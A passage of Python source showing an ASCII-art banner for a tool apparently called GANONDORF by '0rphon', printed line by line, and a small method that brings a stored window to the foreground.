        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNkc;:cccllllccll;.''cKMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNo'';;;;;:cc:,'...,oOXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNx;',,;;,,'','....,;lKWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMW0c..''',,,'...'',,;lkNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNx;.''''.',;,,;;;;:lxKWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMKl'.',,,;:::::::ccldONMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNx,.'',,;;::clloolodkKWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWO;.',;;:looooddddoookXWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMW0;.,:clloooodxxxxdollOWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMW0;.,:clloddxk0KK0ko:cOWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM0;.;:ldxkkO0KXXXKko:lKMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMW0;':lxO000KXXXXK0xlckWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWO;':okO0KKKKKK00OdcoKMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMW0l,;lodO000000KOoc:kWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWOl;',cdO000kdc;,,kWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWKkd:,:lll:;,':kNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNkl:,;;:lkXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWXKKXNWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "GANONDORF: because who wants to duel link these days?\nCreated by 0rphon\n\n")
    for x in zelda:
        print(x)
        sleep(0.015)
 def bring_to_front(self):
     try:
         ShowWindow(global_settings['active_window'][0], 5)
         SetForegroundWindow(global_settings['active_window'][0])
     except:
         pass